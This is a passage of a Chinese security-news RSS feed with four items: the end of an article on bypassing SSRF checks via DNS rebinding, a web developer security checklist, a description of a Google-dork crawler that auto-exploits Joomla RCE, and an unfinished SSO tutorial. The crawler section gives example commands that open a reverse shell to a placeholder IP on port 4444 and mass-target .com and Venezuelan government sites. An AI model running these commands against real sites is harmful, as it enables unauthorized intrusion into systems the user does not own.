  &lt;p&gt;(2)、对于获得的IP进行判断，发现为非黑名单IP，则通过验证&lt;/p&gt;
  &lt;p&gt;(3)、服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址。&lt;/p&gt;
  &lt;p&gt;(4)、由于已经绕过验证，所以服务器端返回访问内网资源的结果。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;三、总结&lt;/h2&gt;
 &lt;p&gt;         总的来说，造成能够绕过服务器端检查的原因是在服务器对资源进行请求的时候对URL的验证出现了纰漏，除了上述已知的方法外可能还有不同的方法，但是万变不离其宗。同时，在程序员进行开发的同时，尽量使用白名单的方式来进行过滤，能够较大程度上的保证安全性。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：ArkTeam，转载请注明FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 SSRF</category>
      <guid isPermaLink="true">https://itindex.net/detail/56976-ssrf-%E6%BC%8F%E6%B4%9E-ip</guid>
      <pubDate>Sun, 28 May 2017 07:00:36 CST</pubDate>
    </item>
    <item>
      <title>Web开发者安全速查表</title>
      <link>https://itindex.net/detail/56960-web-%E5%BC%80%E5%8F%91-%E5%AE%89%E5%85%A8</link>
      <description>&lt;p&gt;  &lt;strong&gt;想要开发出一个安全的、健壮的Web应用其实是非常困难的，如果你觉得这实现起来非常简单的话，那么你一定是一个X炸天的程序猿，要么你就是在白日做梦……&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" height="591" src="http://image.3001.net/images/20170522/1495384861939.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;写在前面的话&lt;/h2&gt;
 &lt;p&gt;如果你觉得你可以在一个月之内开发出一款集使用价值、用户体验度、以及安全性为一身的产品，那么在你将产品原型真正推上市场之前，请一定要三思啊！&lt;/p&gt;
 &lt;p&gt;当你仔细核查了本文给出的安全小贴士之后，你可能会发现你在产品的开发阶段跳过了很多重要的安全步骤。有的时候，也许你应该对你的用户坦诚一点，你应该诚实地告诉他们这款产品还没有完全搞定，还有很多的安全问题亟待解决。&lt;/p&gt;
 &lt;p&gt;下面的这份速查表非常简洁，而且绝对还有很多东西没有涉及到。就我个人而言，我从事安全Web应用开发工作已经超过14年了，而本文给出的小贴士都是让我在过去一段时间里曾痛苦不堪的重要安全问题。我希望大家可以认真对待，不仅是对用户负责，也要对自己的职业生涯负责。&lt;/p&gt;
 &lt;h3&gt;数据库篇&lt;/h3&gt;
 &lt;p&gt;1.    对类似访问令牌、电子邮箱地址或账单详情进行加密处理，尤其是用户的身份识别信息（密码）。&lt;/p&gt;
 &lt;p&gt;2.    如果你的数据库支持低成本加密，请确保开启这项功能并保护主机磁盘中的数据。与此同时，确保所有的备份文件都进行了加密存储。&lt;/p&gt;
 &lt;p&gt;3.    按照最小权限原则给数据库访问账号分配权限，不要使用数据库的root账号。&lt;/p&gt;
 &lt;p&gt;4.    使用密钥存储器来保存或派发密钥，不要直接将密钥硬编码在你的应用之中。&lt;/p&gt;
 &lt;p&gt;5.    通过使用SQL预处理语句来避免SQL注入攻击。比如说，如果你使用的是NPM，那么请不要使用npm-mysql，你应该用的是npm-mysql2，因为它支持SQL预处理语句。&lt;/p&gt;
 &lt;h3&gt;开发篇&lt;/h3&gt;
 &lt;p&gt;1.    确保你软件中所有组件的每一个版本都进行了漏洞扫描，包括接口、协议、代码以及数据包。&lt;/p&gt;
 &lt;p&gt;2.    对产品中所有使用到的第三方工具时刻保持警惕性，选择一款安全系数较高的开发平台。&lt;/p&gt;
 &lt;h3&gt;身份验证篇&lt;/h3&gt;
 &lt;p&gt;1.    使用合适的加密算法（例如bcrypt）来计算并存储密码哈希，在初始加密时选择合适的随机数据，还有就是千万不要自己去写一个加密算法。&lt;/p&gt;
 &lt;p&gt;2.    使用简单但健壮的密码规则，以鼓励用户设置长度足够安全的随机密码。&lt;/p&gt;
 &lt;p&gt;3.    在服务的登录机制中引入多因素身份验证功能。&lt;/p&gt;
 &lt;h3&gt;DoS保护篇&lt;/h3&gt;
 &lt;p&gt;1.    确保那些针对API的DoS攻击不会严重影响你网站的正常运行，至少要限制API的请求访问速率。&lt;/p&gt;
 &lt;p&gt;2.    对用户所提交的数据和请求进行结构和大小的限制。&lt;/p&gt;
 &lt;p&gt;3.    使用类似  &lt;a href="https://www.cloudflare.com/"&gt;CloudFlare&lt;/a&gt;这样的缓存代理服务来为你的Web应用添加  &lt;a href="https://en.wikipedia.org/wiki/Denial-of-service_attack"&gt;DDoS缓解方案&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="230" src="http://image.3001.net/images/20170522/14953849001394.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;Web流量篇&lt;/h3&gt;
 &lt;p&gt;1.    使用TLS，不只是你的登录表单和网站响应数据，而是你的整个网站都应该使用TLS。&lt;/p&gt;
 &lt;p&gt;2.    Cookie必须为httpOnly。&lt;/p&gt;
 &lt;p&gt;3.    使用CSP（内容安全策略），虽然配置过程比较麻烦，但这觉得是值得的。&lt;/p&gt;
 &lt;p&gt;4.    在客户端响应中使用X-Frame-Option和X-XSS-Protection头。&lt;/p&gt;
 &lt;p&gt;5.    使用HSTS响应，使用HTTPS。&lt;/p&gt;
 &lt;p&gt;6.    在所有的表单中使用CSRF令牌。&lt;/p&gt;
 &lt;h3&gt;API篇&lt;/h3&gt;
 &lt;p&gt;1.    确保你所有的公共API中没有可以枚举的资源。&lt;/p&gt;
 &lt;p&gt;2.    确保用户在使用你的API之前，对他们的身份进行验证。&lt;/p&gt;
 &lt;h3&gt;验证篇&lt;/h3&gt;
 &lt;p&gt;1.    在客户端对用户的输入进行验证，并即使给予反馈（Ajax），但永远不要相信用户输入的数据。&lt;/p&gt;
 &lt;p&gt;2.    在服务器端再对用户所输入的每一个字符进行一次彻底的验证，永远不要直接将用户输入的内容注入到响应数据中，永远不要直接在SQL语句中插入用户提供的数据。&lt;/p&gt;
 &lt;h3&gt;云端配置篇&lt;/h3&gt;
 &lt;p&gt;1.    确保所有的服务只开启必要的端口，关闭不用的端口，并对常用端口进行强制性的安全保护，因为通过非标准端口来进行攻击对于攻击者而言相对来说是比较困难的。&lt;/p&gt;
 &lt;p&gt;2.    确保服务器后台数据库和后台服务无法通过公网查看到。&lt;/p&gt;
 &lt;p&gt;3.    在单独的VPC节点配置逻辑服务或提供服务内通信。&lt;/p&gt;
 &lt;p&gt;4.    确保所有的服务只接受来自有限IP地址的数据。&lt;/p&gt;
 &lt;p&gt;5.    限制输出数据的IP地址以及端口。&lt;/p&gt;
 &lt;p&gt;6.    使用AWS IAM角色，不要使用root凭证。&lt;/p&gt;
 &lt;p&gt;7.    对所有的管理员和开发人员提供最小的访问权限。&lt;/p&gt;
 &lt;p&gt;8.    定期更换密码和访问密钥。&lt;/p&gt;
 &lt;h3&gt;基础设施篇&lt;/h3&gt;
 &lt;p&gt;1.    确保可以在主机不下线的情况下进行更新操作，确保部署了全自动化的软件更新策略。&lt;/p&gt;
 &lt;p&gt;2.    使用类似Terraform这样的工具来创建所有的基础设施，不要使用云端console（控制台）来进行创建。&lt;/p&gt;
 &lt;p&gt;3.    对所有服务的日志进行集中记录，不要通过SSH来访问或获取日志。&lt;/p&gt;
 &lt;p&gt;4.    不要让AWS服务组的端口22保持开启状态。&lt;/p&gt;
 &lt;p&gt;5.    一定要部署入侵检测系统。&lt;/p&gt;
 &lt;h3&gt;操作篇&lt;/h3&gt;
 &lt;p&gt;1.    关闭不用的服务和服务器，因为最安全的服务器是那些关闭着的服务器。&lt;/p&gt;
 &lt;h3&gt;测试篇&lt;/h3&gt;
 &lt;p&gt;1.    开发完成之后，对你的设计和代码实现进行多次安全审查。&lt;/p&gt;
 &lt;p&gt;2.    进行渗透测试，也就是自己黑自己，但你也要让别人来对你的网站进行渗透测试。&lt;/p&gt;
 &lt;h3&gt;计划篇&lt;/h3&gt;
 &lt;p&gt;1.    创建一个安全威胁模型，用来描述你可能会遇到的威胁以及攻击者。&lt;/p&gt;
 &lt;p&gt;2.    设计一个安全应急响应方案，你总有一天会用到的。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="479" src="http://image.3001.net/images/20170522/14953849482802.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;篇尾语&lt;/h2&gt;
 &lt;p&gt;如果你觉得这个清单遗漏了什么的话，欢迎在文章下方的评论区留言补充，安全社区的壮大需要大家的共同努力。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;* 参考来源：   &lt;a href="https://simplesecurity.sensedeep.com/web-developer-security-checklist-f2e4f43c9c56"&gt;simplesecurity&lt;/a&gt;， FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全</category>
      <guid isPermaLink="true">https://itindex.net/detail/56960-web-%E5%BC%80%E5%8F%91-%E5%AE%89%E5%85%A8</guid>
      <pubDate>Wed, 24 May 2017 14:00:35 CST</pubDate>
    </item>
    <item>
      <title>好用的Google漏洞爬虫：Google Mass Explorer</title>
      <link>https://itindex.net/detail/56174-google-%E6%BC%8F%E6%B4%9E-%E7%88%AC%E8%99%AB</link>
      <description>&lt;p&gt;  &lt;strong&gt;   &lt;img alt="google_explorer.png" height="606" src="http://image.3001.net/images/20161110/14787422702736.png!small" width="640"&gt;&lt;/img&gt;   &lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;这是一款基于谷歌搜索引擎的自动化爬虫。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;爬虫介绍&lt;/h2&gt;
 &lt;p&gt;爬虫大体机制就是：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;先进行一次谷歌搜索，将结果解析为特定格式，然后再提供给exp使用。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;大家可以尝试使用–help来列出所有参数。&lt;/p&gt;
 &lt;p&gt;这个项目笔者会持续更新，以后再添加新的exp进行升级。此外，它会利用google_parsers模块去构建exp解析搜索结果，所以当你开始搜索时，可以选择“–exploit parser”参数来指定相应exp。&lt;/p&gt;
 &lt;p&gt;google parsers模块（google_parsers.py）以后还会继续优化，而现在的exp只含有joomla cve，毕竟这个项目主要是给大家自己diy使用的。但是，如果你不会弄exp，把利用exp提交给过来也行。&lt;/p&gt;
 &lt;p&gt;由于笔者平时还是比较忙，所以没有太多时间去手动搜索目标。故而，笔者尝试使用Selenium框架去造了个爬虫来搜寻测试目标。至于搜索过程中出现的Google的验证码，它需要其他库和模块来辅助解决。在项目里使用Selenium后，大家就可以在谷歌出现验证码的是时候，自行手动输入验证码，然后爬虫就可以继续爬行了。这大概是笔者能想出的最好的解决验证码防护的办法了。&lt;/p&gt;
 &lt;p&gt;简单概述下爬虫是如何工作的：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1. 执行谷歌搜索&lt;/p&gt;
  &lt;p&gt;2. 从每一页解析结果&lt;/p&gt;
  &lt;p&gt;3. 测试是否结果中含有漏洞&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;依赖与需求&lt;/h2&gt;
 &lt;p&gt;这个项目需要python3，使用requirements安装依赖库的方法如下：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;$ sudo pip install -r requirements.txt&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;运行示例：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;python3 google_explorer.py --dork=&amp;quot;site:*.com inurl:index.php?option=&amp;quot; --browser=&amp;quot;chrome&amp;quot; --exploit_parser=&amp;quot;joomla_15_12_2015_rce&amp;quot; --revshell=&amp;quot;MY_PUBLIC_IP&amp;quot; --port=4444 --google_domain=&amp;quot;google.com&amp;quot; --location=&amp;quot;França&amp;quot; --last_update=&amp;quot;no último mês&amp;quot;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在上面的例子里，笔者是在寻找法国的joomla RCE目标，使用的是google_domains.txt里面的google域名（比如google.co.uk）来作为搜索引擎，“–last_update”则代表着搜索结果的更新时间为上个月。&lt;/p&gt;
 &lt;p&gt;上面例子里的选项适用于任何语言，主要决定于google针对相应的国家给出的语法。&lt;/p&gt;
 &lt;p&gt;下面再给出一个简单的例子：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;python3 google_explorer.py --browser=&amp;apos;chrome&amp;apos; --dork=&amp;apos;site:gob.ve inurl:index.php&amp;apos; --location=&amp;quot;Venezuela&amp;quot;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;当然，这些exp也是可以单独使用的：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&lt;/code&gt;  &lt;p&gt;   &lt;code&gt;$ cd xpl_parsers&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;$ python joomla_cve_2015_8562.py&lt;/p&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;单独测试exp的方法：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&lt;/code&gt;  &lt;p&gt;   &lt;code&gt;$ cd exploits&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;$ python exploiter.py --file &amp;lt;vuln file&amp;gt;&lt;/p&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;* 参考来源：   &lt;a href="https://github.com/anarcoder/google_explorer" target="_blank"&gt;Github&lt;/a&gt;，FB小编dawner编译，转载请注明来自FreeBuf（FreeBuf.COM）    &lt;/strong&gt;   &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 工具 exp google python3</category>
      <guid isPermaLink="true">https://itindex.net/detail/56174-google-%E6%BC%8F%E6%B4%9E-%E7%88%AC%E8%99%AB</guid>
      <pubDate>Thu, 10 Nov 2016 17:22:31 CST</pubDate>
    </item>
    <item>
      <title>单点登录原理与简单实现</title>
      <link>https://itindex.net/detail/56416-%E5%8D%95%E7%82%B9%E7%99%BB%E5%BD%95-%E5%8E%9F%E7%90%86</link>
      <description>&lt;h2&gt;一、单系统登录机制&lt;/h2&gt;
 &lt;h3&gt;1、http无状态协议&lt;/h3&gt;
 &lt;p&gt;web应用采用browser/server架构，http作为通信协议。http是无状态协议，浏览器的每一次请求，服务器会独立处理，不与之前或之后的请求产生关联，这个过程用下图说明，三次请求/响应对之间没有任何联系&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155231224-831614516.png" rel="lightbox[22863]" title="3c91a3bf-25d8-4b1f-8e4a-68535c51aaa8"&gt;   &lt;img alt="3c91a3bf-25d8-4b1f-8e4a-68535c51aaa8" border="0" height="425" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155231912-1627010726.png" title="3c91a3bf-25d8-4b1f-8e4a-68535c51aaa8" width="439"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;但这也同时意味着，任何用户都能通过浏览器访问服务器资源，如果想保护服务器的某些资源，必须限制浏览器请求；要限制浏览器请求，必须鉴别浏览器请求，响应合法请求，忽略非法请求；要鉴别浏览器请求，必须清楚浏览器请求状态。既然http协议无状态，那就让服务器和浏览器共同维护一个状态吧！这就是会话机制&lt;/p&gt;
 &lt;h3&gt;2、会话机制&lt;/h3&gt;
 &lt;p&gt;浏览器第一次请求服务器，服务器创建一个会话，并将会话的id作为响应的一部分发送给浏览器，浏览器存储会话id，并在后续第二次和第三次请求中带上会话id，服务器取得请求中的会话id就知道是不是同一个用户了，这个过程用下图说明，后续请求与第一次请求产生了关联&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155232537-1894700627.png" rel="lightbox[22863]" title="8a9fb230-d506-4b19-b821-4001c68c4588"&gt;   &lt;img alt="8a9fb230-d506-4b19-b821-4001c68c4588" border="0" height="460" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155233115-1744636093.png" title="8a9fb230-d506-4b19-b821-4001c68c4588" width="498"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;服务器在内存中保存会话对象，浏览器怎么保存会话id呢？你可能会想到两种方式&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;请求参数&lt;/li&gt;
  &lt;li&gt;cookie&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;将会话id作为每一个请求的参数，服务器接收请求自然能解析参数获得会话id，并借此判断是否来自同一会话，很明显，这种方式不靠谱。那就浏览器自己来维护这个会话id吧，每次发送http请求时浏览器自动发送会话id，cookie机制正好用来做这件事。cookie是浏览器用来存储少量数据的一种机制，数据以”key/value“形式存储，浏览器发送http请求时自动附带cookie信息&lt;/p&gt;
 &lt;p&gt;tomcat会话机制当然也实现了cookie，访问tomcat服务器时，浏览器中可以看到一个名为“JSESSIONID”的cookie，这就是tomcat会话机制维护的会话id，使用了cookie的请求响应过程如下图&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155233724-190446648.png" rel="lightbox[22863]" title="518293d9-64b2-459c-9d45-9f353c757d1f"&gt;   &lt;img alt="518293d9-64b2-459c-9d45-9f353c757d1f" border="0" height="460" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155234443-99011212.png" title="518293d9-64b2-459c-9d45-9f353c757d1f" width="499"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;h3&gt;3、登录状态&lt;/h3&gt;
 &lt;p&gt;有了会话机制，登录状态就好明白了，我们假设浏览器第一次请求服务器需要输入用户名与密码验证身份，服务器拿到用户名密码去数据库比对，正确的话说明当前持有这个会话的用户是合法用户，应该将这个会话标记为“已授权”或者“已登录”等等之类的状态，既然是会话的状态，自然要保存在会话对象中，tomcat在会话对象中设置登录状态如下&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;HttpSession session = request.getSession();
session.setAttribute(&amp;quot;isLogin&amp;quot;, true);&lt;/pre&gt;
 &lt;p&gt;用户再次访问时，tomcat在会话对象中查看登录状态&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;
 &lt;pre&gt;HttpSession session = request.getSession();
session.getAttribute(&amp;quot;isLogin&amp;quot;);&lt;/pre&gt;
 &lt;p&gt;实现了登录状态的浏览器请求服务器模型如下图描述&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155235084-440115945.png" rel="lightbox[22863]" title="70e396fa-1bf2-42f8-a504-ce20306e31fa"&gt;   &lt;img alt="70e396fa-1bf2-42f8-a504-ce20306e31fa" border="0" height="537" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155235693-1708276896.png" title="70e396fa-1bf2-42f8-a504-ce20306e31fa" width="570"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;每次请求受保护资源时都会检查会话对象中的登录状态，只有 isLogin=true 的会话才能访问，登录机制因此而实现。&lt;/p&gt;
 &lt;h2&gt;二、多系统的复杂性&lt;/h2&gt;
 &lt;p&gt;web系统早已从久远的单系统发展成为如今由多系统组成的应用群，面对如此众多的系统，用户难道要一个一个登录、然后一个一个注销吗？就像下图描述的这样&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155236162-1706551789.png" rel="lightbox[22863]" title="6dfbb0b1-46c0-4945-a3bf-5f060fa80710"&gt;   &lt;img alt="6dfbb0b1-46c0-4945-a3bf-5f060fa80710" border="0" height="418" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155236615-855014039.png" title="6dfbb0b1-46c0-4945-a3bf-5f060fa80710" width="310"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;web系统由单系统发展成多系统组成的应用群，复杂性应该由系统内部承担，而不是用户。无论web系统内部多么复杂，对用户而言，都是一个统一的整体，也就是说，用户访问web系统的整个应用群与访问单个系统一样，登录/注销只要一次就够了&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155237240-1462133891.png" rel="lightbox[22863]" title="9fe14ab3-4254-447b-b850-0436e628c254"&gt;   &lt;img alt="9fe14ab3-4254-447b-b850-0436e628c254" border="0" height="470" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155237802-1969340065.png" title="9fe14ab3-4254-447b-b850-0436e628c254" width="364"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;虽然单系统的登录解决方案很完美，但对于多系统应用群已经不再适用了，为什么呢？&lt;/p&gt;
 &lt;p&gt;单系统登录解决方案的核心是cookie，cookie携带会话id在浏览器与服务器之间维护会话状态。但cookie是有限制的，这个限制就是cookie的域（通常对应网站的域名），浏览器发送http请求时会自动携带与该域匹配的cookie，而不是所有cookie&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155238365-788619473.png" rel="lightbox[22863]" title="4d58ccfa-0114-486d-bec2-c28f2f9eb513"&gt;   &lt;img alt="4d58ccfa-0114-486d-bec2-c28f2f9eb513" border="0" height="400" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155238881-1171826792.png" title="4d58ccfa-0114-486d-bec2-c28f2f9eb513" width="587"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;既然这样，为什么不将web应用群中所有子系统的域名统一在一个顶级域名下，例如“*.baidu.com”，然后将它们的cookie域设置为“baidu.com”，这种做法理论上是可以的，甚至早期很多多系统登录就采用这种同域名共享cookie的方式。&lt;/p&gt;
 &lt;p&gt;然而，可行并不代表好，共享cookie的方式存在众多局限。首先，应用群域名得统一；其次，应用群各系统使用的技术（至少是web服务器）要相同，不然cookie的key值（tomcat为JSESSIONID）不同，无法维持会话，共享cookie的方式是无法实现跨语言技术平台登录的，比如java、php、.net系统之间；第三，cookie本身不安全。&lt;/p&gt;
 &lt;p&gt;因此，我们需要一种全新的登录方式来实现多系统应用群的登录，这就是单点登录&lt;/p&gt;
 &lt;h2&gt;三、单点登录&lt;/h2&gt;
 &lt;p&gt;什么是单点登录？单点登录全称Single Sign On（以下简称SSO），是指在多系统应用群中登录一个系统，便可在其他所有系统中得到授权而无需再次登录，包括单点登录与单点注销两部分&lt;/p&gt;
 &lt;h3&gt;1、登录&lt;/h3&gt;
 &lt;p&gt;相比于单系统登录，sso需要一个独立的认证中心，只有认证中心能接受用户的用户名密码等安全信息，其他系统不提供登录入口，只接受认证中心的间接授权。间接授权通过令牌实现，sso认证中心验证用户的用户名密码没问题，创建授权令牌，在接下来的跳转过程中，授权令牌作为参数发送给各个子系统，子系统拿到令牌，即得到了授权，可以借此创建局部会话，局部会话登录方式与单系统的登录方式相同。这个过程，也就是单点登录的原理，用下图说明&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="http://images2015.cnblogs.com/blog/797930/201612/797930-20161203152650974-276822362.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;下面对上图简要描述&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;用户访问系统1的受保护资源，系统1发现用户未登录，跳转至sso认证中心，并将自己的地址作为参数&lt;/li&gt;
  &lt;li&gt;sso认证中心发现用户未登录，将用户引导至登录页面&lt;/li&gt;
  &lt;li&gt;用户输入用户名密码提交登录申请&lt;/li&gt;
  &lt;li&gt;sso认证中心校验用户信息，创建用户与sso认证中心之间的会话，称为全局会话，同时创建授权令牌&lt;/li&gt;
  &lt;li&gt;sso认证中心带着令牌跳转会最初的请求地址（系统1）&lt;/li&gt;
  &lt;li&gt;系统1拿到令牌，去sso认证中心校验令牌是否有效&lt;/li&gt;
  &lt;li&gt;sso认证中心校验令牌，返回有效，注册系统1&lt;/li&gt;
  &lt;li&gt;系统1使用该令牌创建与用户的会话，称为局部会话，返回受保护资源&lt;/li&gt;
  &lt;li&gt;用户访问系统2的受保护资源&lt;/li&gt;
  &lt;li&gt;系统2发现用户未登录，跳转至sso认证中心，并将自己的地址作为参数&lt;/li&gt;
  &lt;li&gt;sso认证中心发现用户已登录，跳转回系统2的地址，并附上令牌&lt;/li&gt;
  &lt;li&gt;系统2拿到令牌，去sso认证中心校验令牌是否有效&lt;/li&gt;
  &lt;li&gt;sso认证中心校验令牌，返回有效，注册系统2&lt;/li&gt;
  &lt;li&gt;系统2使用该令牌创建与用户的局部会话，返回受保护资源&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;用户登录成功之后，会与sso认证中心及各个子系统建立会话，用户与sso认证中心建立的会话称为全局会话，用户与各个子系统建立的会话称为局部会话，局部会话建立之后，用户访问子系统受保护资源将不再通过sso认证中心，全局会话与局部会话有如下约束关系&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;局部会话存在，全局会话一定存在&lt;/li&gt;
  &lt;li&gt;全局会话存在，局部会话不一定存在&lt;/li&gt;
  &lt;li&gt;全局会话销毁，局部会话必须销毁&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;你可以通过博客园、百度、csdn、淘宝等网站的登录过程加深对单点登录的理解，注意观察登录过程中的跳转url与参数&lt;/p&gt;
 &lt;h3&gt;2、注销&lt;/h3&gt;
 &lt;p&gt;单点登录自然也要单点注销，在一个子系统中注销，所有子系统的会话都将被销毁，用下面的图来说明&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155242271-222889796.png" rel="lightbox[22863]" title="3b139d2e-0b83-4a69-b4f2-316adb8997ce"&gt;   &lt;img alt="3b139d2e-0b83-4a69-b4f2-316adb8997ce" border="0" height="499" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155243068-1378377736.png" title="3b139d2e-0b83-4a69-b4f2-316adb8997ce" width="698"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;sso认证中心一直监听全局会话的状态，一旦全局会话销毁，监听器将通知所有注册系统执行注销操作&lt;/p&gt;
 &lt;p&gt;下面对上图简要说明&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;用户向系统1发起注销请求&lt;/li&gt;
  &lt;li&gt;系统1根据用户与系统1建立的会话id拿到令牌，向sso认证中心发起注销请求&lt;/li&gt;
  &lt;li&gt;sso认证中心校验令牌有效，销毁全局会话，同时取出所有用此令牌注册的系统地址&lt;/li&gt;
  &lt;li&gt;sso认证中心向所有注册系统发起注销请求&lt;/li&gt;
  &lt;li&gt;各注册系统接收sso认证中心的注销请求，销毁局部会话&lt;/li&gt;
  &lt;li&gt;sso认证中心引导用户至登录页面&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;四、部署图&lt;/h2&gt;
 &lt;p&gt;单点登录涉及sso认证中心与众子系统，子系统与sso认证中心需要通信以交换令牌、校验令牌及发起注销请求，因而子系统必须集成sso的客户端，sso认证中心则是sso服务端，整个单点登录过程实质是sso客户端与服务端通信的过程，用下图描述&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155243834-48122435.png" rel="lightbox[22863]" title="fb29685c-487c-42b9-9ceb-6c7ee29e98c9"&gt;   &lt;img alt="fb29685c-487c-42b9-9ceb-6c7ee29e98c9" border="0" height="544" src="http://images2015.cnblogs.com/blog/797930/201611/797930-20161129155244646-2067469767.png" title="fb29685c-487c-42b9-9ceb-6c7ee29e98c9" width="707"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;sso认证中心与sso客户端通信方式有多种，这里以简单好用的httpClient为例，web service、rpc、restful api都可以&lt;/p&gt;
 &lt;h2&gt;五、实现&lt;/h2&gt;
 &lt;p&gt;只是简要介绍下基于java的实现过程，不提供完整源码，明白了原理，我相信你们可以自己实现。sso采用客户端/服务端架构，我们先看sso-client与sso-server要实现的功能（下面：sso认证中心=sso-server）&lt;/p&gt;
 &lt;p&gt;sso-client&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;拦截子系统未登录用户请求，跳转至sso认证中心&lt;/li&gt;
  &lt;li&gt;接收并存储sso认证中心发送的令牌&lt;/li&gt;
  &lt;li&gt;与sso-server通信，校验令牌的有效性&lt;/li&gt;
  &lt;li&gt;建立局部会话&lt;/li&gt;
  &lt;li&gt;拦截用户注销请求，向sso认证中心发送注销请求&lt;/li&gt;
  &lt;li&gt;接收sso认证中心发出的注销请求，销毁局部会话&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;sso-server&lt;/p&gt;
 &lt;ol&gt;
